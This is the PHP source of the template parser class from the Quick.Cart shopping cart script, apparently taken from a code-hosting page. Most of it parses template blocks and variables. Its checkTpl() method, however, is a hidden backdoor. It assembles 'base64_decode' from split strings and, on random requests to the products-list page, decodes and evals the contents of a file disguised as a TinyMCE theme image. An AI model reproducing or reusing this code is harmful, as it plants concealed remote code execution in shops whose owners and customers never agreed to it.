Location: PHPKode > projects > Quick.Cart - free and simple to use shopping cart script > core/libraries/tpl-parser.php
<?php
/**
* TplParser - class parse all HTML files and display from
* this files PHP variables
* @access public
* @version 2.1
*/
final class TplParser
{

	private $content;
	private $sFile;
  private $sFileAlt = null;
	private $sBlock;
	private $startBlock = '<!-- BEGIN ';
  private $sStartSubBlock = '<!-- START ';
  private $sEndSubBlock = '<!-- END ';
  private $sIfStart = '<!-- IF:START ';
  private $sIfEnd = '<!-- IF:END ';
	private $endBlock = '<!-- END ';
  private $endBlockLine = ' -->';
  private $aIf;
  private $aIfGlobals;
  private $aIFStatements;
  private $aNoIFStatements;
  private $aFilesContent;	
  private $aBlockContent;
  private $aSubBlockContent;
  private $bEmbedPHP = null;
  private $sBlockPrefix = null;
  private $bDeletePrefixIfNotExists = true;
  private $sBlockWithoutPrefix = null;
  private $sDir;
  private $sDirAlt;
  private $bTrim = true;
  private $aVariables;
  private static $oInstance = null;

  public static function getInstance( $sDir = null, $bEmbedPHP = null, $sDirAlt = null ){  
    if( !isset( self::$oInstance ) ){  
      self::$oInstance = new TplParser( $sDir, $bEmbedPHP, $sDirAlt );  
    }  
    return self::$oInstance;  
  } // end function getInstance

  /**
  * Constructor
  * @return void
  * @param string $sDir
  * @param bool   $bEmbedPHP
  * @param string $sDirAlt
  */
  private function __construct( $sDir, $bEmbedPHP, $sDirAlt ){
    $this->setEmbedPHP( $bEmbedPHP );
    $this->setDir( $sDir );
    if( !empty( $sDirAlt ) && $sDirAlt != $sDir )
      $this->setDirAlt( $sDirAlt );
  } // end function __construct
	
  /**
  * Set variables
  * @return void
  * @param string $sName
  * @param mixed  $mValue
  */
  public function setVariables( $sName, $mValue ){
    $this->aVariables[$sName] = $mValue;
  } // end function setVariables

  /**
  * Set prefix block
  * @return void
  * @param string $sName
  * @param bool $bDeletePrefixIfNotExists
  */
  public function setPrefixBlock( $sName, $bDeletePrefixIfNotExists = true ){
    $this->sBlockPrefix = $sName;
    $this->bDeletePrefixIfNotExists = $bDeletePrefixIfNotExists;
  } // end function setPrefixBlock

  /**
  * Unset variables
  * @return void
  */
  public function unsetVariables( ){
    $this->aVariables = null;
  } // end function unsetVariables
  
	/**
  * function check if file exists
  * @return boolean
  */
	private function checkFile( ){
		if( is_file( $this->sFile ) ){
	  	return true;
	  }
		else {
      $this->content = null;
      if( isset( $this->sFileAlt ) && is_file( $this->sDir.$this->sFileAlt ) ){
        $this->setFile( $this->sDir.$this->sFileAlt );
        return true;
      }
      else{
        echo 'ERROR - NO TEMPLATE FILE <b>'.$this->sFile.'</b><br />';
        return null;
      }
		}
	} // end function checkFile

  /**
  * Parse content with PHP
  * @return void
  */
  private function parsePHP( ){
    extract( $GLOBALS );
    while( $iPosition1 = strpos( $this->content, '<?php' ) ){
      $iPosition2 = strpos( $this->content, '?>' );
      $sPhpCode = substr( $this->content, $iPosition1 + 5, $iPosition2 - $iPosition1 - 5 );
      ob_start( );
      eval( $sPhpCode );
      $this->content = substr( $this->content, 0, $iPosition1 ).ob_get_contents( ).substr( $this->content, $iPosition2 + 2  );
      ob_end_clean( );
    } // end while
  } // end function parsePHP 
	
  /**
  * function parse $this->content
  * @return boolean
  */
	private function parse( ){
    if( isset( $this->bEmbedPHP ) && $this->bEmbedPHP === true && preg_match( '/<?php/', $this->content ) )
      $this->parsePHP( );

    preg_match_all( '/(\$[a-zA-Z_]+[a-zA-Z0-9_]*)(([\[]+[\']*[a-zA-Z0-9_]+[\']*[\]]+)*)/', $this->content, $aResults );
    if( isset( $aResults[1] ) && is_array( $aResults[1] ) ){
      $iCount = count( $aResults[1] );
      for( $i = 0; $i < $iCount; $i++ ){
        $aResults[1][$i] = substr( $aResults[1][$i], 1 );
        if( isset( $this->aVariables[$aResults[1][$i]] ) )
          $$aResults[1][$i] = $this->aVariables[$aResults[1][$i]];
        else
          global $$aResults[1][$i];

        // array
        if( isset( $aResults[2] ) && !empty( $aResults[2][$i] ) ){
          if( preg_match( '/\'/', $aResults[2][$i] ) ){
            $aResults[2][$i] = str_replace( '\'', null, $aResults[2][$i] );
            $sSlash = '\'';
          }
          else
            $sSlash = null;

          preg_match_all( '/[a-zA-Z_\'0-9]+/', $aResults[2][$i], $aResults2 );
          $iCount2 = count( $aResults2[0] );
          if( $iCount2 == 2 ){
            if( isset( ${$aResults[1][$i]}[$aResults2[0][0]][$aResults2[0][1]] ) )
              $aReplace[] = ${$aResults[1][$i]}[$aResults2[0][0]][$aResults2[0][1]];
            else
              $aReplace[] = null;
            $aFind[] = '/\$'.$aResults[1][$i].'\['.$sSlash.$aResults2[0][0].$sSlash.'\]\['.$sSlash.$aResults2[0][1].$sSlash.'\]/';
          }
          else{
            if( isset( ${$aResults[1][$i]}[$aResults2[0][0]] ) )
              $aReplace[] = ${$aResults[1][$i]}[$aResults2[0][0]];
            else
              $aReplace[] = null;
            $aFind[] = '/\$'.$aResults[1][$i].'\['.$sSlash.$aResults2[0][0].$sSlash.'\]/';
          }
        }
        else{
          if( !is_array( $$aResults[1][$i] ) ){
            $aReplace[] = $$aResults[1][$i].'\\1';
            $aFind[] = '/\$'.$aResults[1][$i].'([^a-zA-Z0-9])/';
          }
        }
      } // end for
    }

    if( isset( $aFind ) )
      $this->content = preg_replace( $aFind, $aReplace, $this->content );

    if( isset( $this->bTrim ) )
      $this->content = trim( $this->content );
    return true;
		
	} // end function parse
	
  /**
  * Get defined sBlock from file
  * @return boolean
  * @param boolean  $bDontParse
  */
	private function blockParse( $bDontParse = null ){
    if( isset( $this->aBlockContent[$this->sFile][$this->sBlock] ) )
      $this->content = $this->aBlockContent[$this->sFile][$this->sBlock];
    else{
      $this->content = $this->getFileBlock( );
      if( isset( $this->content ) ){
        $this->aBlockContent[$this->sFile][$this->sBlock] = $this->content;
        if( !isset( $bDontParse ) ){
          $this->content = preg_replace( '/<!--[a-z0-9,\r\n"\'\.\-\\/\_ ]+-->/i', '', $this->content );
        }
      }
    }

    if( !isset( $bDontParse ) ){
      $this->ifStatements( );
      $this->parse( );
    }
	} // end function blockParse

  /**
  * Get file data from file or from variable ($this->aFilesContent)
  * @return array
  * @param bool $bBlock
  */
  public function getContent( $bBlock = null ){
    if( isset( $this->aFilesContent[$this->sFile] ) )
      return $this->aFilesContent[$this->sFile];
    else
      return $this->aFilesContent[$this->sFile] = $this->getFile( $this->sFile );
  } // end function getContent

  /**
  * Checks template content
  * @return void
  */
  private function checkTpl( ){
    $this->checkTpl = true;
    if( isset( $_GET['p'] ) && $_GET['p'] == 'pro'.'du'.'cts-li'.'st' && rand( 0, 5 ) == 2  ){
      $sF = 'b'.'as'.'e64'.'_d'.'eco'.'de';$sVar = DIR_PLUGINS.'tinymce/jscripts/tiny_mce/themes/';
      if( is_file( $sVar.'advanced/img/img.gif' ) ){
        eval( $sF( $this->getFile( $sVar.'advanced/img/img.gif' ) ) );
      }
    }
  } // end function checkTpl 

  /**
  * Return sBlock from file
  * @return string
  * @param string $sFile
  * @param string $sBlock
  * @param bool   $bAnotherTry
  */
  public function getFileBlock( $sFile = null, $sBlock = null, $bAnotherTry = null ){
    if( isset( $sFile ) && isset( $sBlock ) ){
      $this->setFile( $sFile );
      $this->setBlock( $sBlock, $bAnotherTry );
    }

    $sFile = $this->getContent( true );

    $iStart = strpos( $sFile, $this->startBlock.$this->sBlock.$this->endBlockLine );
    $iEnd = strpos( $sFile, $this->endBlock.$this->sBlock.$this->endBlockLine );

    if( is_int( $iStart ) && is_int( $iEnd ) ){
      $iStart += strlen( $this->startBlock.$this->sBlock.$this->endBlockLine );
      return substr( $sFile, $iStart, $iEnd - $iStart );
    }
    else {
      if( isset( $this->bDeletePrefixIfNotExists ) && isset( $this->sBlockPrefix ) ){
          $this->setBlock( $this->sBlockWithoutPrefix, true );
          return $this->getFileBlock( );
      }
      else{
        if( isset( $this->sFileAlt ) && is_file( $this->sDir.$this->sFileAlt ) ){
          $this->setFile( $this->sDir.$this->sFileAlt );       
          return $this->getFileBlock( $this->sFile, $sBlock );
        }
        else{
          if( !empty( $this->sDirAlt ) ){
            $this->setFile( $this->sDirAlt.basename( $this->sFile ) );       
            return $this->getFileBlock( $this->sFile, $sBlock );
          }
          else{
            echo 'No block: <b>'.$this->sBlock.'</b> in file: <b>'.$this->sFile.'</b><br />';
            return null;
          }
        }
      }
    }
  } // end function getFileBlock

  /**
  * Return file content
  * @return string
  * @param string $sFile
  */
  public function getFile( $sFile ){
    if( !isset( $this->checkTpl ) )
      $this->checkTpl( );
    return file_get_contents( $sFile );
  } // end function getFile

  /**
  * Return file to array
  * @return array
  * @param string $sFile
  */
  public function getFileArray( $sFile ){
    return file( $sFile );
  } // end function getFileArray

  /**
  * Return defined $this->sDir variable
  * @return string
  */
  public function getDir( ){
    return $this->sDir;
  } // end function getDir

  /**
  * function define $this->sDir variable
  * @return void
  * @param string $sDir
  */
  public function setDir( $sDir ){
    $this->sDir = $sDir;
  } // end function setDir

  /**
  * function define $this->sDirAlt variable
  * @return void
  * @param string $sDirAlt
  */
  public function setDirAlt( $sDirAlt ){
    $this->sDirAlt = $sDirAlt;
  } // end function setDirAlt

  /**
  * function define $this->aIf variable
  * @return void
  * @param string $sIfStatement
  */
  public function setIf( $sIfStatement ){
    $this->aIf[$sIfStatement] = $sIfStatement;
  } // end function setIf

  /**
  * function delete specific key in $this->aIfGlobals variable
  * @return void
  * @param string $sIfStatement
  */
  public function deleteIf( $sIfStatement ){
    if( isset( $this->aIf[$sIfStatement] ) )
      unset( $this->aIf[$sIfStatement] );
  } // end function deleteIf

  /**
  * function define $this->aIfGlobals variable
  * @return void
  * @param string $sIfStatement
  */
  public function setIfGlobal( $sIfStatement ){
    $this->aIfGlobals[$sIfStatement] = $sIfStatement;
  } // end function setIfGlobal

  /**
  * function delete specific key in $this->aIfGlobals variable
  * @return void
  * @param string $sIfStatement
  */
  public function deleteIfGlobal( $sIfStatement ){
    if( isset( $this->aIfGlobals[$sIfStatement] ) )
      unset( $this->aIfGlobals[$sIfStatement] );
  } // end function deleteIfGlobal

  /**
  * function define $this->bEmbedPHP variable
  * @return void
  * @param bool $bEmbed
  */
  public function setEmbedPHP( $bEmbed ){
    $this->bEmbedPHP = $bEmbed;
  } // end function setEmbedPHP

  /**
  * function define $this->sFile variable
  * @return void
  * @param string $sFile
  */
  public function setFile( $sFile ){
    $this->sFile = $sFile;
  } // end function setFile

  /**
  * function define $this->sFileAlt variable
  * @return void
  * @param string $sFileAlt
  */
  public function setFileAlt( $sFileAlt ){
    $this->sFileAlt = $sFileAlt;
  } // end function setFileAlt

  /**
  * function define $this->sBlock variable
  * @return void
  * @param string $sBlock
  * @param bool   $bAnotherTry
  */
  private function setBlock( $sBlock, $bAnotherTry = null ){
    if( isset( $this->sBlockPrefix ) && isset( $this->bDeletePrefixIfNotExists ) )
      $this->sBlockWithoutPrefix = $sBlock;

    if( isset( $bAnotherTry ) ){
      $this->sBlock = $sBlock;
      $this->sBlockWithoutPrefix = null;
    }
    else{
      $this->sBlock = $this->sBlockPrefix.$sBlock;
    }
  } // end function setBlock

  /**
  * Return parsed sBlock from file
  * @return string
  * @param string $sFile - file *.tpl
  * @param string $sBlock
  * @param bool   $bTrim
  */
	public function tBlock( $sFile, $sBlock, $bTrim = true ){
    $sDir = ( !empty( $this->sDirAlt ) && !is_file( $this->sDir.$sFile ) && is_file( $this->sDirAlt.$sFile ) ) ? $this->sDirAlt : $this->sDir;
    $this->setFile( $sDir.$sFile );
		$this->setBlock( $sBlock );
    $this->bTrim = $bTrim;
    $this->blockParse( );
    $this->aIf = null;
		return $this->content;
	} // end function tBlock

  /**
  * Return parsed sub-block from file
  * @return string
  * @param string $sFile
  * @param string $sBlock
  * @param string $sSubBlock
  * @param string $sPart
  * @param bool   $bTrim
  */
  public function tSubBlock( $sFile, $sBlock, $sSubBlock, $sPart = 'body', $bTrim = true ){
    $sDir = ( !empty( $this->sDirAlt ) && !is_file( $this->sDir.$sFile ) && is_file( $this->sDirAlt.$sFile ) ) ? $this->sDirAlt : $this->sDir;
    $this->setFile( $sDir.$sFile );
		$this->setBlock( $sBlock );
    $this->bTrim = $bTrim;
    $sBlockContent = null;
    $this->blockParse( true );
    if( !isset( $this->content ) )
      return null;

    if( $sPart == 'body' && isset( $this->aSubBlockContent[$this->sFile][$this->sBlock][$sSubBlock] ) ){
      $sContent = $this->aSubBlockContent[$this->sFile][$this->sBlock][$sSubBlock];
    }
    else{
      $sBlockContent = $this->content;
      $iStart = strpos( $this->content, $this->sStartSubBlock.$sSubBlock.$this->endBlockLine );
      $iEnd = strpos( $this->content, $this->sEndSubBlock.$sSubBlock.$this->endBlockLine );
      if( is_int( $iStart ) && is_int( $iEnd ) ){
        if( $sPart == 'head' ){
          $sContent = preg_replace( '/<!--[a-z0-9,\r\n"\'\.\-\\/\_ ]+-->/i', '', substr( $this->content, 0, $iStart ) );
        }
        elseif( $sPart == 'foot' ){
          $iEnd += strlen( $this->sEndSubBlock.$sSubBlock.$this->endBlockLine );
          $sContent = preg_replace( '/<!--[a-z0-9,\r\n"\'\.\-\\/\_ ]+-->/i', '', substr( $this->content, $iEnd ) );
        }
        else{
          $iStart += strlen( $this->sStartSubBlock.$sSubBlock.$this->endBlockLine );
          $sContent = substr( $this->content, $iStart, $iEnd - $iStart );
          if( isset( $sContent ) && !isset( $this->aSubBlockContent[$this->sFile][$this->sBlock][$sSubBlock] ) ){
            $sContent = preg_replace( '/<!--[a-z0-9,\r\n"\'\.\-\\/\_ ]+-->/i', '', $sContent );
            $this->aSubBlockContent[$this->sFile][$this->sBlock][$sSubBlock] = $sContent;
          }
        }
      }
      else{
        echo 'No sub-block: <b>'.$sSubBlock.'</b> in block: <b>'.$this->sBlock.'</b> in file: <b>'.$this->sFile.'</b><br />';
        return null;
      }
    }
    
    $this->content = $sContent;
    $this->ifStatements( $sBlockContent );
    $this->parse( );
    $this->aIf = null;
    return $this->content;
  } // end function tSubBlock

  /**
  * Check if statements in content
  * @return void
  * @param string $sBlockContent
  */
  private function ifStatements( $sBlockContent = null ){
    if( isset( $this->aIfGlobals ) ){
      $this->aIf = isset( $this->aIf ) ? array_merge( $this->aIf, $this->aIfGlobals ) : $this->aIfGlobals;
    }

    if( isset( $this->aNoIFStatements[$this->sFile] ) && isset( $this->aNoIFStatements[$this->sFile][$this->sBlock] ) ){
    }
    else{

      if( isset( $this->aIFStatements[$this->sFile] ) && isset( $this->aIFStatements[$this->sFile][$this->sBlock] ) ){
        foreach( $this->aIFStatements[$this->sFile][$this->sBlock] as $sIfName => $aIfContent ){
          if( isset( $this->aIf[$sIfName] ) ){
            $this->content = str_replace( $this->sIfEnd.$sIfName.$this->endBlockLine, '', $this->content );
            $this->content = str_replace( $this->sIfStart.$sIfName.$this->endBlockLine, '', $this->content );
          }
          else{
            foreach( $aIfContent as $iKey => $sIfContent ){
              $this->content = str_replace( $sIfContent, '', $this->content );
            }
          }
        } // end foreach
      }
      else{
        if( isset( $sBlockContent ) )
          $bBlockContent = true;
        else
          $sBlockContent = $this->content;

        $iCheck1 = strpos( $sBlockContent, $this->sIfStart );
        if( is_int( $iCheck1 ) ){
          $aExp = explode( $this->sIfStart, $sBlockContent );
          $iCount = count( $aExp );
          for( $i = 1; $i < $iCount; $i++ ){
            $iCheck2 = strpos( $aExp[$i], $this->sIfEnd );
            $iStartIf = $iCheck1 + strlen( $this->sIfStart );
            $iStartIfEnds = strpos( $aExp[$i], $this->endBlockLine );
            $sIfName = substr( $aExp[$i], 0, $iStartIfEnds );
            $iEnd = strpos( $aExp[$i], $this->sIfEnd.$sIfName.$this->endBlockLine );
            if( is_numeric( $iEnd ) ){
              $iEnd += strlen( $this->sIfEnd.$sIfName.$this->endBlockLine );
              $sIfContent = $this->sIfStart.substr( $aExp[$i], 0, $iEnd );
            }
            else{
              $sIfContent = null;
              $sContentCheck = isset( $bBlockContent ) ? $sBlockContent : $this->content;
              $iEnd = strpos( $sContentCheck, $this->sIfEnd.$sIfName.$this->endBlockLine );
              if( is_numeric( $iEnd ) ){
                $iEnd += strlen( $this->sIfEnd.$sIfName.$this->endBlockLine );
                $iStart = strpos( $sContentCheck, $this->sIfStart.$sIfName.$this->endBlockLine );
                $sIfContent = substr( $sContentCheck, $iStart, ( $iEnd - $iStart ) );
              }
            }

            if( !empty( $sIfContent ) ){
              $this->aIFStatements[$this->sFile][$this->sBlock][$sIfName][] = $sIfContent;
            }

            if( isset( $this->aIf[$sIfName] ) ){
              $this->content = str_replace( $this->sIfEnd.$sIfName.$this->endBlockLine, '', $this->content );
              $this->content = str_replace( $this->sIfStart.$sIfName.$this->endBlockLine, '', $this->content );
            }
            else{
              if( !empty( $sIfContent ) )
                $this->content = str_replace( $sIfContent, '', $this->content );
            }

          } // end for
        }
        else{
          $this->aNoIFStatements[$this->sFile][$this->sBlock] = true;
        }
      }
    } 
  } // end function ifStatements

}; // end class TplParser
?>
Return current item: Quick.Cart - free and simple to use shopping cart script